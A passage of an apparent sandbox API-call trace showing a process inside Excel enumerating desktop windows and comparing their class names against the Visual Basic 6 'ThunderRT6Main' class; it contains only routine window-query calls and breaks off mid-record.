GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.895] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x1021a [0107.895] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0107.896] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0107.896] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.896] GetWindowLongA (hWnd=0x1021a, nIndex=-16) returned -1946157056 [0107.896] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0107.896] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0107.896] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x2019c [0107.896] GetClassNameA (in: hWnd=0x2019c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.896] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.896] GetWindowThreadProcessId (in: hWnd=0x2019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.896] GetWindowLongA (hWnd=0x2019c, nIndex=-16) returned -1946157056 [0107.896] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0107.896] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0107.896] GetWindow (hWnd=0x2019c, uCmd=0x2) returned 0x6028c [0107.896] GetClassNameA (in: hWnd=0x6028c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="#32770") returned 6 [0107.896] lstrcmpA (lpString1="#32770", lpString2="ThunderRT6Main") returned -1 [0107.896] GetWindowThreadProcessId (in: hWnd=0x6028c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.896] GetWindowLongA (hWnd=0x6028c, nIndex=-16) returned -1798831675 [0107.896] GetWindowLongPtrA (hWnd=0x6028c, nIndex=-6) returned 0x7feef2c0000 [0107.896] GetWindowLongPtrA (hWnd=0x6028c, nIndex=-6) returned 0x7feef2c0000 [0107.896] GetWindow (hWnd=0x6028c, uCmd=0x2) returned 0x202ca [0107.896] GetClassNameA (in: hWnd=0x202ca, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0107.896] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0107.896] GetWindowThreadProcessId (in: hWnd=0x202ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.896] GetWindowLongA (hWnd=0x202ca, nIndex=-16) returned 516882432 [0107.896] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0107.896] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0107.896] GetWindow (hWnd=0x202ca, uCmd=0x2) returned 0x20266 [0107.896] GetClassNameA (in: hWnd=0x20266, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.896] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.896] GetWindowThreadProcessId (in: hWnd=0x20266, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.896] GetWindowLongA (hWnd=0x20266, nIndex=-16) returned -1778384896 [0107.896] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0107.896] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0107.896] GetWindow (hWnd=0x20266, uCmd=0x2) returned 0x20268 [0107.896] GetClassNameA (in: hWnd=0x20268, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.896] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.896] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.896] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896 [0107.896] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0107.896] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0107.896] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a [0107.896] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.896] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.896] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.896] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896 [0107.896] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0107.896] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0107.897] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x600d0 [0107.897] GetClassNameA (in: hWnd=0x600d0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.897] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.897] GetWindowThreadProcessId (in: hWnd=0x600d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.897] GetWindowLongA (hWnd=0x600d0, nIndex=-16) returned -1778384896 [0107.897] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0107.897] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0107.897] GetWindow (hWnd=0x600d0, uCmd=0x2) returned 0x101d4 [0107.897] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0107.897] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0107.897] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.897] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 516882432 [0107.897] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0107.897] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0107.897] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101fe [0107.897] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.897] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.897] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.897] GetWindowLongA (hWnd=0x101fe, nIndex=-16) returned -1778384896 [0107.897] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0107.897] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0107.897] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x10200 [0107.897] GetClassNameA (in: hWnd=0x10200, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.897] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.897] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.897] GetWindowLongA (hWnd=0x10200, nIndex=-16) returned -1778384896 [0107.897] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0107.897] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0107.897] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0107.897] GetClassNameA (in: hWnd=0x10202, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.897] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.897] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.897] GetWindowLongA (hWnd=0x10202, nIndex=-16) returned -1778384896 [0107.897] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0107.897] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0107.897] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x10204 [0107.897] GetClassNameA (in: hWnd=0x10204, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.897] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.897] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.897] GetWindowLongA (hWnd=0x10204, nIndex=-16) returned -1778384896 [0107.898] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0107.898] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0107.898] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x302e6 [0107.898] GetClassNameA (in: hWnd=0x302e6, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0107.898] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0107.898] GetWindowThreadProcessId (in: hWnd=0x302e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xac4 [0107.898] GetWindow (hWnd=0x302e6, uCmd=0x2) returned 0x502aa [0107.898] GetClassNameA (in: hWnd=0x502aa, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.898] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.898] GetWindowThreadProcessId (in: hWnd=0x502aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0107.898] GetWindow (hWnd=0x502aa, uCmd=0x2) returned 0x202b0 [0107.898] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0107.898] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0107.898] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.898] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -1946157056 [0107.898] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0107.898] IsWindowEnabled (hWnd=0x202b0) returned 0 [0107.898] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0107.898] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0107.898] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0107.898] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026e [0107.898] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0107.898] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0107.898] GetWindowThreadProcessId (in: hWnd=0x2026e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.898] GetWindowLongA (hWnd=0x2026e, nIndex=-16) returned 1149272145 [0107.898] GetWindow (hWnd=0x2026e, uCmd=0x2) returned 0x10296 [0107.898] GetClassNameA (in: hWnd=0x10296, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0107.898] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0107.898] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0107.898] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x20232 [0107.898] GetClassNameA (in: hWnd=0x20232, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0107.898] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0107.898] GetWindowThreadProcessId (in: hWnd=0x20232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.898] GetWindowLongA (hWnd=0x20232, nIndex=-16) returned 213909504 [0107.898] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0107.898] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0107.899] GetWindow (hWnd=0x20232, uCmd=0x2) returned 0x1022e [0107.899] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0107.899] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0107.899] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.899] GetWindowLongA (hWnd=0x1022e, nIndex=-16) returned -2080374784 [0107.899] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0107.899] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0107.899] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x101d2 [0107.899] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.899] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.899] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.899] GetWindowLongA (hWnd=0x101d2, nIndex=-16) returned -2046820352 [0107.899] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0107.899] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0107.899] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101d0 [0107.899] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.899] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.899] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.899] GetWindowLongA (hWnd=0x101d0, nIndex=-16) returned -2046820352 [0107.899] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0107.899] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0107.899] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101ce [0107.899] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.899] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.899] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.899] GetWindowLongA (hWnd=0x101ce, nIndex=-16) returned -2046820352 [0107.899] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0107.899] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0107.899] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101cc [0107.899] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.899] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.899] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.899] GetWindowLongA (hWnd=0x101cc, nIndex=-16) returned -2046820352 [0107.899] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0107.899] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0107.899] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x301a2 [0107.899] GetClassNameA (in: hWnd=0x301a2, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0107.899] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0107.899] GetWindowThreadProcessId (in: hWnd=0x301a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.899] GetWindowLongA (hWnd=0x301a2, nIndex=-16) returned 114229248 [0107.899] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0107.899] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0107.899] GetWindow (hWnd=0x301a2, uCmd=0x2) returned 0x401a4 [0107.899] GetClassNameA (in: hWnd=0x401a4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0107.899] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0107.900] GetWindowThreadProcessId (in: hWnd=0x401a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x914 [0107.900] GetWindow (hWnd=0x401a4, uCmd=0x2) returned 0x201a0 [0107.900] GetClassNameA (in: hWnd=0x201a0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0107.900] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0107.900] GetWindowThreadProcessId (in: hWnd=0x201a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.900] GetWindowLongA (hWnd=0x201a0, nIndex=-16) returned -2080374784 [0107.900] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0107.900] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0107.900] GetWindow (hWnd=0x201a0, uCmd=0x2) returned 0x10194 [0107.900] GetClassNameA (in: hWnd=0x10194, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.900] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.900] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0107.900] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10192 [0107.900] GetClassNameA (in: hWnd=0x10192, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="spendwin") returned 8 [0107.900] lstrcmpA (lpString1="spendwin", lpString2="ThunderRT6Main") returned -1 [0107.900] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0107.900] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x20208 [0107.900] GetClassNameA (in: hWnd=0x20208, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0107.900] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0107.900] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.900] GetWindowLongA (hWnd=0x20208, nIndex=-16) returned -2080374784 [0107.900] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0107.900] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0107.900] GetWindow (hWnd=0x20208, uCmd=0x2) returned 0x201fa [0107.900] GetClassNameA (in: hWnd=0x201fa, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0107.900] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0107.900] GetWindowThreadProcessId (in: hWnd=0x201fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.900] GetWindowLongA (hWnd=0x201fa, nIndex=-16) returned 1149272145 [0107.900] GetWindow (hWnd=0x201fa, uCmd=0x2) returned 0x101c8 [0107.900] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0107.900] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0107.900] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.900] GetWindowLongA (hWnd=0x101c8, nIndex=-16) returned 1149272145 [0107.900] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x1018e [0107.900] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Possiblycls") returned 11 [0107.900] lstrcmpA (lpString1="Possiblycls", lpString2="ThunderRT6Main") returned -1 [0107.900] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0107.900] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0107.900] GetClassNameA (in: hWnd=0x10190, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.900] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.900] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0107.901] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0107.901] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="completingapp") returned 13 [0107.901] lstrcmpA (lpString1="completingapp", lpString2="ThunderRT6Main") returned -1 [0107.901] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0107.901] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0107.901] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.901] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.901] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0107.901] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0107.901] GetClassNameA (in: hWnd=0x10186, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Household") returned 9 [0107.901] lstrcmpA (lpString1="Household", lpString2="ThunderRT6Main") returned -1 [0107.901] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0107.901] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0107.901] GetClassNameA (in: hWnd=0x10188, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.901] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.901] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0107.901] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0107.901] GetClassNameA (in: hWnd=0x10182, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="mjvidsclass") returned 11 [0107.901] lstrcmpA (lpString1="mjvidsclass", lpString2="ThunderRT6Main") returned -1 [0107.901] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0107.901] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0107.901] GetClassNameA (in: hWnd=0x10184, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.901] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.901] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0107.901] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0107.901] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Unlessclass") returned 11 [0107.902] lstrcmpA (lpString1="Unlessclass", lpString2="ThunderRT6Main") returned 1 [0107.902] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0107.902] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0107.902] GetClassNameA (in: hWnd=0x10180, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.902] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.902] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0107.902] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0107.902] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Consultants_Consistent_window") returned 29 [0107.902] lstrcmpA (lpString1="Consultants_Consistent_window", lpString2="ThunderRT6Main") returned -1 [0107.902] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0107.902] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0107.902] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.902] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.902] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0107.902] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0107.902] GetClassNameA (in: hWnd=0x10176, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="renew_sonic_Sms_win") returned 19 [0107.902] lstrcmpA (lpString1="renew_sonic_Sms_win", lpString2="ThunderRT6Main") returned -1 [0107.902] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0107.902] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0107.902] GetClassNameA (in: hWnd=0x10178, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.902] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.902] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0107.902] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0107.902] GetClassNameA (in: hWnd=0x10172, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Regards_Neo_parade_app") returned 22 [0107.902] lstrcmpA (lpString1="Regards_Neo_parade_app", lpString2="ThunderRT6Main") returned -1 [0107.902] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0107.902] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0107.902] GetClassNameA (in: hWnd=0x10174, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.902] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.902] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0107.902] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0107.903] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="marsh_cls") returned 9 [0107.903] lstrcmpA (lpString1="marsh_cls", lpString2="ThunderRT6Main") returned -1 [0107.903] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0107.903] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0107.903] GetClassNameA (in: hWnd=0x10170, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.903] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.903] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0107.903] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0107.903] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x24b830, nMaxCount=64 | out: 